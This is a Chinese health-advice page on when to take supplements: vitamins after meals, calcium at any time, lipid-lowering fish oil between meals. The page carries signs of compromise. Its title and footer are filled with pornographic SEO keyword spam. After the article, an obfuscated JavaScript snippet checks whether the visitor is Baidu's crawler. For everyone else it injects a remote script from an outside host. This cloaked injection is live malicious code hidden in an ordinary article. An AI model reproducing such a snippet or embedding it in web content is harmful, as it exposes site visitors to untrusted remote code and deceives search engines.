久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 飲食 > 健康飲食 > 正文

保健品飯前吃還是飯后吃好呢?

2017-04-21 19:32:05  來源:360常識網   熱度:
導語:現(xiàn)在人們生活條件好了,對于自己身體的健康更加的注重了。但是繁忙的工作,過大的壓力往往讓人體有透支的情況,還有許多人常常處在亞健康的

現(xiàn)在人們生活條件好了,對于自己身體的健康更加的注重了。但是繁忙的工作,過大的壓力往往讓人體有透支的情況,還有許多人常常處在亞健康的狀態(tài)中。所以許多人想要調理身體,常常會服用一些保健品來滋補身體。那么,在服用保健品的時候,在飯前吃效果好,還是在飯后吃效果好呢?

一、維生素飯后吃更好

飯后服用維生素類保健品,由于腸道有食物,維生素會被逐漸吸收,則有利于其發(fā)揮作用。尤其是脂溶性維生素A、維生素D、維生素E軟膠囊等,易溶于脂肪中被吸收,更應在飯后服用。維生素

B1、 B2和 B6等B族維生素在飯后服用就比飯前服用相對吸收率穩(wěn)定。維生素C也應該在飯后服用。

如飯前空腹時服用,腸道內沒有食物,容易迅速吸收入血,使血中維生素濃度很快增高,在被身體組織利用之前,就會從尿中排出去,從而起不到應有的作用。

二、鈣片飯前飯后吃都可以

其實鈣片吸收與飯前飯后沒大的關系,但是為了減少對胃的刺激建議飯后服用。像鈣D軟膠囊這種液體鈣并沒有標注飯前飯后吃,那么就是兩種都可以的,而且液體鈣本身就比較好吸收。另外服鈣片的最佳時間是晚餐后或臨睡前、傍晚時鈣最易吸收,所以一般在吃過晚飯后吃鈣片

三、降血脂的飯中間吃

什么是飯中間吃,也就是兩餐之間。比如調節(jié)血脂功效的多烯魚油軟膠囊、紫一銀螺膠囊等,都適合在兩餐之間吃。此外多烯魚油搭配大豆磷脂軟維E膠囊吃效果會更好。能夠在調節(jié)血脂的同時保護心腦血管和保護肝臟。

不同的保健品服用的時間是不一樣的,維生素應該在飯后吃,身體的吸收效果更好一些;鈣片什么時候都行,但是腸胃弱的人可以在飯后吃;降血脂的應該在吃飯中間服用。由此可見,什么時候服用保健品好,還應該具體情況,具體分析,不能一概而論。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 中文字幕亚洲一区二区三区 | 亚洲精品66 | 欧美日本亚洲 | 奇米影| 国产成人午夜 | 五月激情六月综合 | 一区免费 | 999久久久免费精品国产 | 天天舔天天爽 | 人人干人人爱 | 91精品国产乱码久久久久久久久 | 精品综合| 免费在线看a| 国产精品成人免费视频 | 欧美视频第一页 | 91精品一区二区 | www.亚洲| 日韩欧美国产精品综合嫩v 久草久草久草 | 99久久精品久久亚洲精品 | 久久亚洲高清 | 9191在线| 成人在线观看免费 | 99精品播放| 性视频网站免费 | 国产精品久久久av | 美日韩一区二区 | 欧美猛交ⅹxxx乱大交视频 | av大片网 | www.国产91 | 人成亚洲 | 人人草视频在线观看 | 精品欧美激情在线观看 | 精品久久久久久久久久久久包黑料 | 中文字幕亚洲在线观看 | 国产精品视频久久 | 免费亚洲成人 | 精品成人佐山爱一区二区 | 男女视频一区二区 | 国产在线a| 国产黄色大片 | 久久一区二区三区四区 |